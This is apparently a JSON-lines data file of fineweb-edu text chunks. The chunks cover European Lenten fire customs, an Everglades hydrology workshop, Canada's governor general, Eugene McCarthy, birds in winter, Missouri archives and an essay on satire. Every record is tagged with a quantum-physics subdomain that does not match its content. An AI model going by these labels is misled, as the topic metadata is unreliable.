halleux they set up a pole called makral, or the witch, in the midst of the pile, and the fire is kindled by the man who was last married in the village. in the neighbourhood of morlanwelz a straw man is burnt in the fire. young people and children dance and sing round the bonfires, and leap over the embers to secure good crops or a happy marriage within the year, or as a means of guarding themselves against colic. in brabant on the same sunday, down to the beginning of the nineteenth century, women and men disguised in female attire used to go with burning torches to the fields, where they danced and sang comic songs for the purpose, as they alleged, of driving away the wicked sower, who is mentioned in the gospel for the day. at paturages, in the province of hainaut, down to about 1840 the custom was observed under the name of escouvion or scouvion. every year on the first sunday of lent, which was called the day of the little scouvion, young folks and children used to run with lighted torches through the gardens and orchards. as they ran they cried at the pitch of their voices : bear apples, bear pears, and cherries all black to scouvion! 1 at these words the torch - bearer whirled his blazing brand and hurled it among the branches of the apple - trees, the pear - trees, and the cherry - trees. the next sunday was called the day of the great scouvion, and the same race with lighted torches among the trees of the orchards was repeated in the afternoon", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4412165276646059, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.935181"} {"text": "of the apple - trees, the pear - trees, and the cherry - trees. the next sunday was called the day of the great scouvion, and the same race with lighted torches among the trees of the orchards was repeated in the afternoon till darkness fell. 2 in the french department of the ardennes the whole village used to dance and sing around the bonfires which were lighted on the first sunday in lent. here, too, it was the person last married, sometimes a man and sometimes a woman, who put the match to the fire. the custom is still kept up very commonly in the district. cats used to be burnt in the fire or roasted to death by being held over it ; and while they were burning the shepherds drove their flocks through the smoke and flames as a sure means of guarding them against sickness and witchcraft. in some communes it was believed that the livelier the dance round the fire, the better would be the crops that year. 3 in the french province of franche - comte, to the west of the jura mountains, the first sunday of lent is known as the sunday of the firebrands ( brandons ), on account of the fires which it is customary to kindle on that day. on the saturday or the sunday the village lads harness themselves to a cart and drag it about the streets, stopping at the doors of the houses where there are girls and begging fora faggot. when they have got enough, they cart the fuel to a spot at some little distance from the village, pile it up, and set it on fire. all the people of the parish come out to see the bonfire. in some villages, when the bells have rung the angelus, the signal for the observance is given by cries of, to the fire! to the fire! lads, lasses, and children dance round the blaze, and when the flames have died down they vie with each other in leaping over the red embers. he or she who does so without singeing his or her garments will be married within the year. young folk also carry lighted torches about the streets or the fields, and when they pass an orchard they cry out, more fruit than leaves! down to recent years at laviron, in the department of doubs, it was the young married couples of the year who had charge of the bonfires. in the midst of the bonfire a pole was planted with a wooden figure of a cock fastened to the top. then there were races", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4529094951860517, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.936113"} {"text": "the department of doubs, it was the young married couples of the year who had charge of the bonfires. in the midst of the bonfire a pole was planted with a wooden figure of a cock fastened to the top. then there were races, and the winner received the cock as a prize. 4 in auvergne fires are everywhere kindled on the evening of the first sunday in lent. every village, every hamlet, even every ward, every isolated farm has its bonfire or figo, as it is called, which blazes up as the shades of night are falling. the fires may be seen flaring on the heights and in the plains ; the people dance and sing round about them and leap through the flames. then they proceed to the ceremony of the grannas - mias. a granno - mio is a torch of straw fastened to the top of a pole. when the pyre is half consumed, the bystanders kindle the torches at the expiring flames and carry them into the neighbouring orchards, fields, and gardens, wherever there are fruit - trees. as they march they sing at the top of their voices, granno my friend, granno my father, granno my mother. then they pass the burning torches under the branches of every tree, singing. brando, brandounci tsaque brantso, in plan panei! that is, firebrand burn ; every branch a basketful! in some villages the people also run across the sown fields and shake the ashes of the torches on the ground ; also they put some of the ashes in the fowls nests, in order that the hens may lay plenty of eggs throughout the year. when all these ceremonies have been performed, everybody goes home and feasts ; the special dishes of the evening are fritters and pancakes. here the application of the fire to the fruit - trees, to the sown fields, and to the nests of the poultry is clearly a charm intended to ensure fertility ; and the granno to whom the invocations are addressed, and who gives his name to the torches, may possibly be, as dr. pommerol suggests, no other than the ancient celtic god grannus, whom the romans identified with apollo, and whose worship is attested by inscriptions found not only in france but in scotland and on the danube. 5 the custom of carrying lighted torches of straw ( brandons ) about the orchards and fields to fertilise them on the first sunday of lent seems to have", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45023269372574937, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.937166"} {"text": "is attested by inscriptions found not only in france but in scotland and on the danube. 5 the custom of carrying lighted torches of straw ( brandons ) about the orchards and fields to fertilise them on the first sunday of lent seems to have been common in france, whether it was accompanied with the practice of kindling bonfires or not. thus in the province of picardy on the first sunday of lent people carried torches through the fields, exorcising the field - mice, the darnel, and the smut. they imagined that they did much good to the gardens and caused the onions to grow large. children ran about the fields, torch in hand, to make the land more fertile. at verges, a village between the jura and the combe dain, the torches at this season were kindled on the top of a mountain, and the bearers went to every house in the village, demanding roasted peas and obliging all couples who had been married within the year to dance. in berry, a district of central france, it appears that bonfires are not lighted on this day, but when the sun has set the whole population of the villages, armed with blazing torches of straw, disperse over the country and scour the fields, the vineyards, and the orchards. seen from afar, the multitude of moving lights, twinkling in the darkness, appear like will - o - the - wisps chasing each other across the plains, along the hillsides, and down the valleys. while the men wave their flambeaus about the branches of the fruit - trees, the women and children tie bands of wheaten - straw round the tree - trunks. the effect of the ceremony is supposed to be to avert the various plagues from which the fruits of the earth are apt to suffer ; and the bands of straw fastened round the stems of the trees are believed to render them fruitful. 6 in germany, austria, and switzerland at the same season similar customs have prevailed. thus in the eifel mountains, rhenish prussia, on the first sunday in lent young people used to collect straw and brushwood from house to house. these they carried to an eminence and piled up round a tall, slim beech - tree, to which a piece of wood was fastened at right angles to form a cross. the structure was known as the hut or castle. fire was set to it and the young people marched round the blazing castle bareheaded, each carrying a lighted torch and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45004675084488405, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.938143"} {"text": "to which a piece of wood was fastened at right angles to form a cross. the structure was known as the hut or castle. fire was set to it and the young people marched round the blazing castle bareheaded, each carrying a lighted torch and praying aloud. sometimes a straw - man was burned in the hut. people observed the direction in which the smoke blew from the fire. if it blew towards the corn - fields, it was a sign that the harvest would be abundant. on the same day, in some parts of the eifel, a great wheel was made of straw and dragged by three horses to the top of the hill. thither the village boys marched at nightfall, set fire to the wheel, and sent it rolling down the slope. at oberstattfeld the wheel had to be provided by the young man who was last married. about echternach in luxemburg the same ceremony is called burning the witch. at voralberg in the tyrol, on the first sunday in lent, a slender young fir - tree is surrounded with a pile of straw and firewood. to the top of the tree is fastened a human figure called the witch, made of old clothes and stuffed with gunpowder. at night the whole is set on fire and boys and girls dance round it, swinging torches and singing rhymes in which the words corn in the winnowing - basket, the plough in the earth may be distinguished. in swabia on the first sunday in lent a figure called the witch or the old wife or winters grandmother is made up of clothes and fastened to a pole. this is stuck in the middle of a pile of wood, to which fire is applied. while the witch is burning, the young people throw blazing discs into the air. the discs are thin round pieces of wood, a few inches in diameter, with notched edges to imitate the rays of the sun or stars. they have a hole in the middle, by which they are attached to the end of a wand. before the disc is thrown it is set on fire, the wand is swung to and fro, and the impetus thus communicated to the disc is augmented by dashing the rod sharply against a sloping board. the burning disc is thus thrown off, and mounting high into the air, describes a long fiery curve before it reaches the ground. the charred embers of the burned witch and discs are taken home and planted in the flax - fields the same night, in the belief that they will keep vermin from the fields", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5009425629231475, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.939097"} {"text": "air, describes a long fiery curve before it reaches the ground. the charred embers of the burned witch and discs are taken home and planted in the flax - fields the same night, in the belief that they will keep vermin from the fields. in the rhon mountains, situated on the borders of hesse and bavaria, the people used to march to the top of a hill or eminence on the first sunday in lent. children and lads carried torches, brooms daubed with tar, and poles swathed in straw. a wheel, wrapt in combustibles, was kindled and rolled down the hill ; and the young people rushed about the fields with their burning torches and brooms, till at last they flung them in a heap, and standing round them, struck up a hymn or a popular song. the object of running about the fields with the blazing torches was to drive away the wicked sower. or it was done in honour of the virgin, that she might preserve the fruits of the earth throughout the year and bless them. in neighbouring villages of hesse, between the rhon and the vogel mountains, it is thought that wherever the burning wheels roll, the fields will be safe from hail and strom. 7 in switzerland, also, it is or used to be customary to kindle bonfires on high places on the evening of the first sunday in lent, and the day is therefore popularly known as spark sunday. the custom prevailed, for example, throughout the canton of lucerne. boys went about from house to house begging for wood and straw, then piled the fuel on a conspicuous mountain or hill round about a pole, which bore a straw effigy called the witch. at nightfall the pile was set on fire, and the young folks danced wildly round it, some of them cracking whips or ringing bells ; and when the fire burned low enough, they leaped over it. this was called burning the witch. in some parts of the canton also they used to wrap old wheels in straw and thorns, put a light to them, and send them rolling and blazing down hill. the more bonfires could be seen sparkling and flaring in the darkness, the more fruitful was the year expected to be ; and the higher the dancers leaped beside or over the fire, the higher, it was thought, would grow the flax. in some districts it was the last married man or woman who must kindle the bonfire. 8 it seems hardly possible to separate from these bonfires, kindled on the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4903771272353587, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.940157"} {"text": "the fire, the higher, it was thought, would grow the flax. in some districts it was the last married man or woman who must kindle the bonfire. 8 it seems hardly possible to separate from these bonfires, kindled on the first sunday in lent, the fires in which, about the same season, the effigy called death is burned as part of the ceremony of carrying out death. we have seen that at spachendorf, in austrian silesia, on the morning of ruperts day ( shrove tuesday? ), a straw - man, dressed in a fur coat and a fur cap, is laid in a hole outside the village and there burned, and that while it is blazing every one seeks to snatch a fragment of it, which he fastens to a branch of the highest tree in his garden or buries in his field, believing that this will make the crops to grow better. the ceremony is known as the burying of death. even when the straw - man is not designated as death, the meaning of the observance is probably the same ; for the name death, as i have tried to show, does not express the original intention of the ceremony. at cobern in the eifel mountains the lads make up a straw - man on shrove tuesday. the effigy is formally tried and accused of having perpetrated all the thefts that have been committed in the neighbourhood throughout the year. being condemned to death, the straw - man is led through the village, shot, and burned upon a pyre. they dance round the blazing pile, and the last bride must leap over it. in oldenburg on the evening of shrove tuesday people used to make long bundles of straw, which they set on fire, and then ran about the fields waving them, shrieking, and singing wild songs. finally they burned a straw - man on the field. in the district of dusseldorf the straw - man burned on shrove tuesday was made of an unthreshed sheaf of corn. on the first monday after the spring equinox the urchins of zurich drag a straw - man on a little cart through the streets, while at the same time the girls carry about a may - tree. when vespers ring, the straw - man is burned. in the district of aachen on ash wednesday, a man used to be encased in peas - straw and taken to an appointed place. here he slipped quietly out of his straw casing, which was then burned,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4711033067446443, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.941210"} {"text": "publications > information sheet > summary of geer workshop : hydrologic modeling and processes summary of greater everglades ecosystem restoration workshop : 2. hydrologic modeling and processes, may 7 - 8, 2002 during april and may 2002, the united states geological survey ( usgs ) greater everglades place based studies ( pbs ) held five information workshops in south florida to discuss status of greater everglades ecosystem research, and to solicit suggestions for additional studies from everglades restoration partners. the hydrologic modeling and related processes workshop was held at nova southeastern university in fort lauderdale, may 7 - 8, 2002. the greater everglades restoration program is prescribing ecosystem - wide changes to some of the physical, hydrological, and chemical attributes of the everglades ecosystem. the ability to accurately understand the complex interactions between contaminants, nutrients, hydrology, and other processes and their effects on the landscape and habitat within the greater everglades ecosystem, during the present, recent past, and prior to significant human alteration, is crucial for the success of greater everglades ecosystem restoration and successful implementation of the comprehensive everglades restoration plan ( cerp ). knowledge of these processes and their interactions produces better informed planning, project implementation, and land management decisions. getting the water quantity, quality, distribution and timing right, as required by cerp, requires a complementary program of hydrologic research, monitoring, and modeling. | measuring flow velocity in taylor slough wetlands to develop a simulation model. [ larger version ] many organizations and programs are dependent on scientific knowledge and more accurate hydrologic and ecologic models for restoring the greater everglades ecosystem. these include federal, state, and local agencies, native american tribal governments, as well as private organizations. research needs, including those directly related to hydrologic modeling and processes, and those relevant to other research topics, were compiled during the workshop based on discussions among the represented organizations and individuals having interests and roles within greater everglades restoration. for the purposes of this summary, these needs have been divided into 1 ) hydrological modeling and related research needs and 2 ) other needs discussed that are relevant to one of the other four workshop topics. hydrologic modeling needs - enhance connectivity between sfwmm ( south florida water management model ) and southern inland and coastal system ( sics ) and tides and inflows in mangroves of the everglades ( time ) models. - develop internet - accessible sics and time model real - time animations. - collect time equivalent", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4496472697335299, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.947923"} {"text": ") and southern inland and coastal system ( sics ) and tides and inflows in mangroves of the everglades ( time ) models. - develop internet - accessible sics and time model real - time animations. - collect time equivalent data from outside of time model domain. - develop additional salinity simulation capability to support across trophic level system simulation ( atlss ) program for developing estuarine species models. - expand boundaries of sics and time models to the entire cerp project area including areas east of us 1. - incorporate solute - transport and simple settling algorithms in regional models to assist in setting cerp water quality performance measures. - model cerp implementation impacts on transport of nutrients within the everglades. - incorporate seepage effects associated with the eastern boundary of the everglades within all applicable models. - complete additional work to couple water quality and hydrologic monitoring data with sics and time models. - increase spatial resolution of surface water and groundwater elevation and salinity monitoring. - improve discharge and recharge estimates associated with stormwater treatment areas. - increase spatial extent of monitoring of flow structure in wetlands to assess flow impacts on landscapes and habitat, including tree islands. - conduct additional studies on the hydraulic properties of the surficial aquifer system including the overlying peat and marl unit. - collect additional information on floridian aquifer hydrogeology. - develop additional models and model inputs for the southwest coast of florida. - develop stochastic methods for generating rainfall input data needed for applicable models. - improve understanding of groundwater solute transport and upwelling ( such as sulfates ), and subsequent surface water mixing in central everglades, particularly wca - 3a south of alligator alley. - create probabilistic / stochastic approaches to better define trends and certainties within models. - incorporate climate - change variables into model simulations. research needs relevant to other workshops topics - complete usgs aerial height finder ( ahf ) topographic survey in everglades national park, loxahatchee, big cypress and water conservation areas. - map and delineate unique landscape features such as tree islands and hammocks using ahf system. - establish navd88 control along the southwest gulf coast in everglades national park. - conduct bathymetric surveys of tidal rivers and creeks along the southwest coast of florida. - create a centralized ecosystem data repository system. - gather reliable farm elevation / topographic information at appropriate resolution. - use", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4621029460860424, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.949494"} {"text": "governor general of canada the governor general is technically chosen by the queen and is allowed to use almost all of the queen ' s powers. but most of the time neither the queen nor the governor general use their powers without advice from the prime minister of canada. - the queen would normally always choose whoever the prime minister wants them to choose to become governor general. - the governor general usually uses his / her powers for what the prime minister advices him / her to do. once in a while the prime minister may want something done that the governor general is not allowed to do on her own. the prime minister must then go straight to the queen, for example for the appointment of 4 or 8 extra senators to parliament. david lloyd johnston is the current governor general of canada. as canada has two official federal languages, the governor general ' s title is in both english and french. the governor general ' s style and title in full is, in english : his excellency the right honourable david lloyd johnston, chancellor and principal companion of the order of canada, chancellor and commander of the order of military merit, chancellor and commander of the order of merit of the police forces, governor general and commander - in - chief in and over canada, and in french : son excellence le tres honorable david lloyd johnston, chancelier et compagnon principal de l ' ordre du canada, chancelier et commandant de l ' ordre du merite militaire, chancelier et commandant de l ' ordre du merite des forces de police, gouverneur general et commandant en chef du canada", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4276539625358087, "token_count": 318, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.952025"} {"text": "from wikipedia, the free encyclopedia the word score can have several meanings. originally it meant : keeping count of something by making notches in a tally stick. this might be for keeping count of how much money they owed ( e. g. how much tax or debt ). - a footballer who kicks the ball into the goal scores a goal. - a person who helps to count the points during a game is \u201c keeping score \u201d. - a score is the sheet music written for a group of players such as an orchestra. - a score can mean a \" soundtrack \" in a movie. - score is an old word for the number 20. it is used in the famous expression from the bible : \u201c three score years and ten \u201d meaning : \u201c seventy years old \u201d ( 3x20 + 10 ) ( psalm 90 ). this was thought to be a normal life span. and in the beginning of the gettysburg address : \" four score and seven years ago... \" = ( 4 * 20 + 7 ) years = 87years. - a score is an american 20 dollar bill ( banknote ). | this disambiguation page lists articles with similar titles. if a link brought you here, you can go back and fix it so it goes straight to the right page.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5309681066933932, "token_count": 261, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.953388"} {"text": "most people are fairly aware and fully prepared when it comes to fire protection in the home place. with the advantages of cutting edge technology found in products such as the smoke alarms from fire protection online in the event of a fire people can be rest assured they will be warned about a fire straight away. other related products that can be a great addition in your home are small fire extinguishers and fire blankets. i have had to use a fire blanket many times due to over enthusiasm when it comes to cooking! this is all well and good but far less people are prepared for the risk of fires from outside of the home. natural disasters such as flooding, electrical storms and even heavy winds or snow can cause fires outside of the home due to the electrics they could possibly disturb. something we may possibly forget to consider is the potential risk from neighbouring buildings, whose inhabitants may not be as vigilant as you are with fire safety. here are some very useful tips to ensure you and your family are safe from the threat of fires from inside and outside of your home : - keep your garden and outside areas tidy and free from clutter \u2013 this also includes any natural litter such as leaves, twigs and pine needles. - always make sure you replace the batteries in your smoke alarm \u2013 most smoke detectors have a \u2018 test \u2019 button which allows you to test if the alarm still makes an audible noise. test this function regularly. - store anything flammable far away from the house \u2013 if you have any gas canisters or flammable liquids such as petrol or oil, make sure they kept are as far away from the house as possible. - keep fire tools handy in the garden \u2013 if you are worried about the contents of your garage or potting shed, keep appropriate fire tools to hand which can be used to extinguish any threat of fire as soon as you are aware. - prune hedges and trees regularly \u2013 make sure there are no branches looming over your home that if ignited, could come crashing down in high winds or a storm. - more importantly, if you do ever experience a fire call 999 to make the fire brigade aware immediately. this is an advertorial post \u2013 please see my disclosure for further information.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4164122828017755, "token_count": 450, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.956146"} {"text": "his campaign for president in 1968 forced a president from office mccarthy ' s campaign increased popular opposition to the war in vietnam. transcript of radio broadcast : 28 august 2009 i ' m steve ember. and i ' m barbara klein with people in america in voa special english. today we tell about eugene mccarthy. his campaign for the presidency in nineteen sixty - eight increased popular opposition to the war in vietnam. and it changed american history. eugene mccarthy was a quiet and mentally gifted lawmaker from minnesota. as a young man, he was interested in being a religious worker or a baseball player. later, he was a college professor. he wrote poetry. he also became active in democratic party politics. in the nineteen sixties, he was one of the first democrats in the united states congress to oppose the party leadership. he expressed opposition to the war americans were fighting in vietnam. and he forced a president from office. eugene mccarthy was born in nineteen sixteen in the town of watkins, minnesota. his father ' s parents came from ireland. his father bought farm animals and was a storyteller. his mother raised four children. eugene completed a study program at saint john ' s university in collegeville, minnesota. he continued his education at the university of minnesota. there, he completed study programs in economics and sociology. mccarthy taught social sciences in public high schools for a few years. then he taught economics, education and sociology at two colleges in minnesota. he married another teacher, abigail quigley. they would later have four children. during world war two, eugene mccarthy worked as a technical aide for a military intelligence office of the war department. he became active in the democratic party after the war. in nineteen forty - eight, he became head of the democratic - farmer - labor party of ramsey county, minnesota. that year he was elected to the united states house of representatives. he served five terms. in nineteen fifty - eight, mccarthy defeated a republican party senator and won a seat in the united states senate. two years later, he became famous by speaking at the democratic party ' s national nominating convention. he nominated adlai stevenson for president. but the democrats chose john f. kennedy as their candidate. in nineteen sixty - four, mccarthy easily won re - election to a second term in the senate. he served in the senate for a total of twelve years. in nineteen sixty - seven, opposition to the war the united states was fighting in vietnam was growing. it had begun to harm president lyndon johnson ' s popular and political support. in october, thousands", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.3835908881444866, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.964770"} {"text": "served in the senate for a total of twelve years. in nineteen sixty - seven, opposition to the war the united states was fighting in vietnam was growing. it had begun to harm president lyndon johnson ' s popular and political support. in october, thousands of demonstrators marched in washington, d. c. to protest the eugene mccarthy was a leader of the anti - war movement. mccarthy announced he would show his opposition to the war and to president johnson. he asked democrats for their support in the party ' s presidential primary elections in nineteen sixty - eight. \" there is only one thing to do take it to the country! \" he declared. mccarthy made political campaign stops across the country. he said the american people were against the war for military, economic, diplomatic and moral reasons. and he said they wanted a change. he said : \" party unity is not a sufficient excuse for silence. \" he also said : \" we do not need presidents who are bigger than the country, but rather ones who speak for it and support it. \" many young peace activists and college students worked on mccarthy ' s presidential campaign. during the nineteen sixties, many students wore long hair and unusual clothing. but the students who worked for the mccarthy campaign changed their appearance. they cut their hair and wore nicer clothing. the media said these students became \" clean for gene. \" his campaign for president was also called a \" children ' s crusade \" because of the many young people involved. nineteen sixty - eight was a difficult year for the nation. it was filled with surprises, tragedy, violence and sadness. the primary election in new hampshire was the first step of the presidential nominating process. mccarthy surprised experts by winning forty - two percent of the democratic vote in the new hampshire primary. that was just seven percentage points behind president johnson. the results of this vote helped the anti - war movement. they showed the deep division within the democratic party. a few days after mccarthy ' s success, senator robert kennedy entered the race for the democratic nomination for president. robert kennedy was a brother of president john kennedy, who had been murdered in nineteen sixty - three. robert kennedy had served as the top government lawyer in his brother ' s administration. senator kennedy also opposed the vietnam war. many people were pleased when he announced his plans to be a candidate. but mccarthy and his supporters were angry that kennedy had entered the race. on march thirty - first, president johnson spoke to americans about the war in vietnam and his efforts to limit it. at the end of his speech, president johnson", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4786565967355281, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.965864"} {"text": "be a candidate. but mccarthy and his supporters were angry that kennedy had entered the race. on march thirty - first, president johnson spoke to americans about the war in vietnam and his efforts to limit it. at the end of his speech, president johnson surprised the nation. he announced that he would not seek or accept the nomination of his party for another term as president. another shocking event took place a few days later. on april fourth, the nation ' s top civil rights leader, the reverend martin luther king, junior, was shot and killed in memphis, tennessee. his death led to riots in more than one hundred cities. after the riots, vice president hubert humphrey decided to seek the presidential nomination. traditional democrats supported him. mccarthy won democratic primaries in four states. on june fourth, he lost the important california primary to senator kennedy. then another tragic event happened. kennedy was shot and killed in los angeles shortly after giving his victory speech. in august, democrats gathered in chicago, illinois for their nominating convention. thousands of mccarthy supporters and war protesters also went to chicago. rioting and violent clashes broke out between the protesters and the city ' s police force. inside the meeting place, delegates voted for the party ' s presidential candidate. but having forced president johnson out of office, mccarthy failed to win the nomination. the democrats nominated humphrey as their candidate to face the republican candidate, former vice president richard nixon. nixon defeated humphrey in the election and became president. the war in vietnam would continue for seven more years. after losing the fight for the nomination, mccarthy did not offer to help vice president humphrey. in fact, he did not express support for the democratic candidate until a few days before the election. the next year he gave up his seat on the senate foreign relations committee. he separated from his wife of twenty - four years. he also announced he would not seek reelection to the senate in nineteen seventy. after retiring from the senate, mccarthy moved to rappahannock county, virginia. he lived alone near the blue ridge mountains. he wrote books, poetry and stories for newspapers. mccarthy was a candidate for president four other times. but he was not taken seriously as a candidate. mccarthy became increasingly critical of the two - party system and traditional politicians, even democrats. in nineteen eighty, he supported the republican candidate, ronald reagan, for president over the democrat, president jimmy carter. mccarthy remained active until the end of his life. in two thousand five, he published a collection of stories and poems. it is called \" parting shots from my", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.46177891562016926, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.966982"} {"text": "for the most part, it \u2019 s the insect - eating birds that migrate south. those that stay behind are either seed eaters or insect eaters that have perfected techniques, which allow them to extract morsels hidden behind and between the bark of trees, as do woodpeckers and nuthatches. it \u2019 s not difficult to observe birds preening themselves with their bills and feet to carefully clean, rearrange and oil their feathers. they do so, in part, to maintain flight capabilities, but in winter, the process is essential for heat regulation. birds have a \u201c preen gland \u201d located on their rumps just below the upper tail feathers. oil squeezed from this gland is rubbed over the body as a waterproofing agent. birds have over 25 % more feathers in winter than during the summer months. growing beneath the large, outer flight feathers are tiny, tuft - like, down feathers that provide one of the world \u2019 s most effective heat traps. it \u2019 s the same stuff humans have adapted for use in hats, coats and other cold - weather apparel. when fluffed and preened into position, these feathers trap a layer of warm air next to the bird \u2019 s body that prohibits the loss of body heat. at night, or when it \u2019 s really cold during daylight hours, birds tuck their heads back under their body feathers into this warm - air source. this head tucking allows them to breathe pre - warmed air and further cut down on energy expenditure. but what about their bare legs and feet? well, you \u2019 ve no doubt observed a bird standing one - legged on a bare branch. the missing appendage was lifted up beneath the lower feathers into that warm - air zone. the exposed foot is protected by a physical adaptation ornithologists call the \u201c counter - current heat exchange system. \u201d in this system, leg arteries and veins are placed side by side so that heat in the arteries coming directly from the heart warms the chilled blood in the veins and keeps the lower extremities unfrozen. beaver tails, whale fins and many other types of exposed animal limbs are protected in this fashion. making it through the night is the most challenging task facing birds during the winter months. like humans, birds shiver involuntarily as a warming reflex. when all else fails, they huddle and snuggle together. finches, sparrows, crows, jays and doves roost in the dense conifers to reduce heat loss. species such as brown creep", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4966540607219012, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.969986"} {"text": "guide to civil war resources at the missouri state archives federal records on microfilm the missouri state archives maintains a small collection of microfilmed federal records, available for research in the reference room. department of the army : bureau of refugees, freedmen, and abandoned lands the missouri state archives maintains a small collection of microfilm regarding the bureau of refugees, freedmen, and abandoned lands, commonly referred to as the freedmen ' s bureau. the records of the education division of the bureau of refugees, freedmen, and abandoned lands contain monthly and other school reports for missouri from 1867 through 1870. the records primarily consist of incoming and outgoing correspondence of reverend john w. alvord, inspector of finances and schools. included as well are narrative reports from alvord to the commissioner of the freedmen ' s bureau. a scope and contents note offers information about the bureau and the records contained in this series. the registers & letters received by the commissioner of the bureau of refugees, freedmen, and abandoned lands contains letters received between 1865 and 1866. included are registers, into which the following information was entered : name / office of correspondent, date of letter, place from which sent, date of receipt, and abstract of contents. indexes to the register, both general name and general subject, are available, as well as many of the letters. occasionally, enclosures such as reports, newspaper clippings, and publications are included. department of the army : war department collection of confederate records, union provost marshal ' s file this series of records on microfilm contains records for individual civilians, arranged alphabetically on 400 + reels. the provost marshal ' s office was established in the war department in march 1863. its functions included arresting deserters, enlisting volunteers, enrolling men for the draft, and compiling statistics regarding recruits and casualties. the office was abolished in august 1866. department of commerce : bureau of the census, federal census schedules federal census schedules for missouri are available for census years 1830 through 1880, enumerating persons in the state and their property. the records can be problematic, with misspellings and inaccurate information, but can also be a source of specific information about a person, a family, or a neighborhood. each census schedule has a slightly different format. census schedules illuminate the state of missouri during a particular period, identifying trends in settlement, occupations, immigration, slaveholding, and more.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3970243150411364, "token_count": 487, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.972356"} {"text": "introduction to irony : or, how to take a joke 101 december 4, 2012 i know a few holocaust jokes. i learned them from the children of survivors. i suspect they \u2019 d disagree with the harvard student who declared that pain was no laughing matter. \u201c i don \u2019 t think that jokes should trigger on any type of pain, \u201d 20 - year - old dakota rot explained to the boston globe. she was responding to satirical fliers distributed on campus advertising a fake social club, noting \u201c jews need not apply, \u201d and \u201c coloreds okay, \u201d and including a reference to date rape. \u201c if you \u2019 re a person that \u2019 s part jewish or a person of color or a woman who \u2019 s has been in any dangerous situation, you shouldn \u2019 t have to read this. \u201d rot declared. it should go without saying that, \u201c you don \u2019 t have to read this. \u201d but if you \u2019 re confronted with offensive speech and fail to avert your eyes or plug your ears, you will probably survive the encounter. i am \u201c a person that \u2019 s part jewish \u201d as well as a \u201c woman who \u2019 s been in a dangerous situation, \u201d and i feel fine reading and writing about \u201c offensive \u201d language in the harvard fliers. ( i have read and viewed much worse over the years, and, even then, felt fine. ) harvard dean evelynn m. hammonds, however, feels less than fine about the fliers. she denounced them as \u201c hurtful and offensive, \u201d an affront to harvard \u2019 s values and its standards of \u201c thoughtfulness and respect. \u201d hammond offered the usual, obligatory statement of support for free speech, but it seems limited to support for speech she doesn \u2019 t find offensive. perhaps harvard should change its motto to \u201c no laughing allowed, \u201d because satire is intentionally, inherently offensive : it laughs at sacred cows ; it mocks painful, serious issues and ideas. consider just a few headlines from the onion. \u201c god answers prayers of paralyzed little boy. \u2018 no, \u2019 says god. \u201d \u201c turkey pardon mishap results in accidental release of serial rapist \u201d \u201c recession - proof jobs include any in which you witness your boss kill someone. \u201d i confess to having laughed at these stories. some people probably found the onion \u2019 s jokes about rape, workplace murder, crippled children and religious faith \u201c hurtful and offensive \u201d and exploitative of extraordinary pain. but i bet i was not alone 